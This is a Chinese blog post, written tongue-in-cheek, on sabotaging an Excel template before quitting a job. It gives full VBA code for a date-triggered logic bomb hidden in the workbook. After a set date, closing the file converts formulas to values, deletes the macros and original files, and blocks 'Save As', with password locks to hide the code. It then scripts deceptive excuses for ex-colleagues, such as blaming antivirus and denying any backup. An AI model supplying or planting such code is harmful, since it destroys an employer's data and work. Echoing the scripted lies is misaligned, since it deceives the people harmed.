HI,大家好,我是星光。
有句俗話說,職場如戰場,什么齷齪事都有。有的朋友在公司辛苦打拼,加班加點任勞任怨,工資不漲也就算了,還總是被給小鞋穿;臨了辭職,也是遭遇各種小絆子,以至于一口惡氣堵在胸口,大半年不愉快,非常影響夜生活質量——
于是有的朋友就問了,我辭職之前能不能把做的Excel模板刪掉?我辛辛苦苦的勞動成果憑啥便宜那群白眼狼?
刪模板?當著前公司領導和前同事的面刪模板?當然是——不行的!善良如你絕無可能以如此絕決的方式撕破他們的臉;另外,為什么要刪呢?給他們留個爛蘋果固然很好,但吃蘋果最可怕的并不是吃到爛蘋果,而是一口下去咬到好幾條毛毛蟲——所以我隆重向你推薦這個方案:
在離職一個月后,讓模板優雅的自動報廢。
……
假設我們有一個模板,叫'擺攤吧!后浪',這是一份你辛苦良久,加班加點,整理業務邏輯、數據邏輯;編寫函數,甚至VBA代碼蛋生的勞動成果。
步驟1
制作說明表
打開模板工作簿,新建一張工作表,命名為說明表。在醒目位置敲下以下文字:
使用本模板必須啟用宏
如有其它說明,可以根據自身需要,放肆補充。
步驟2
保護工作簿結構
將所有工作表隱藏,只保留說明表。
在【審閱】選項卡下,單擊【保護工作簿】,保持【結構】復選框選中狀態不變,輸入保護密碼。(金魚同志,組織讓我給你捎句話,這密碼你需要記住幾秒鐘,別輸入完轉眼就忘卻了)。
步驟3
編寫定時自宮代碼
'工作簿打開,取消工作表隱藏
Private Sub Workbook_Open()
Dim sht As Worksheet
On Error Resume Next
ThisWorkbook.Unprotect '111111'
For Each sht In Worksheets
sht.Visible = xlSheetVisible
Next
ThisWorkbook.Protect '111111', True
End Sub
'禁止文件另存為
Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim b As Long
If SaveAsUI = True Then
b = MsgBox('該工作簿不允許用“另存為”來保存,' & _
'你要用原工作簿名稱來保存嗎?', vbQuestion vbOKCancel)
Cancel = (b = vbCancel)
If Cancel = False Then Me.Save
Cancel = True
End If
End Sub
'保護工作簿結構,定時更新代碼
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Dim sht As Worksheet, dte As Date
Dim strname As String, strFullName As String
On Error Resume Next
With Application
.ScreenUpdating = False
.DisplayAlerts = False
.EnableEvents = False
End With
dte = VBA.DateSerial(2026, 6, 16) '代碼維護更新時間
If dte < Date Then
For Each sht In Worksheets
sht.UsedRange.Value = sht.UsedRange.Value
Next
strname = Split(ThisWorkbook.Name, '.xls')(0)
Workbooks(strname & '.xlsx').Close True
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook
Kill strFullName
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '臨時工', xlOpenXMLWorkbook
Workbooks.Open (strFullName)
ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled
ActiveWorkbook.Close True
Kill strFullName
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
Else
For Each sht In Worksheets
If sht.Name <> '說明表' Then
sht.Visible = xlSheetVeryHidden
End If
Next
ThisWorkbook.Protect '111111', True
ThisWorkbook.Save
End If
With Application
.ScreenUpdating = True
.DisplayAlerts = True
.EnableEvents = True
End With
End Sub
dte = VBA.DateSerial(2026, 6, 16) '代碼維護更新時間,可根據需要調整
步驟4
設置VBE保護密碼
步驟5
更改文件類型
……
做完這些設置,到達指定時間后,該工作簿就會自動將所有的公式轉換為數值,并自動刪除所有VBA代碼了。
模板報廢后,你的前同事有可能會期期艾艾或者兇兇巴巴的聯系你……
……
有裝360嗎?我當初編寫的代碼被你們用殺毒軟件給殺死了吧?(360經典背鍋俠)
確定沒有操作錯?模板對操作者的Excel水平要求很高的,如果是小白的話,有太多可能出問題了——這個我和你真說不清楚。
備份?沒有備份。都離職1個多月了,東西早都扔垃圾桶了,備份文件做什么?就我那工資,備份文件值啥啊?……
不好意思,我都離職一個多月了,公司的業務邏輯都忘的差不多了,這我真幫不了你。你們當時也說我的工作很簡單,做事不花時間,那你們重新做下模板,或者干脆不用模板不就得了?
……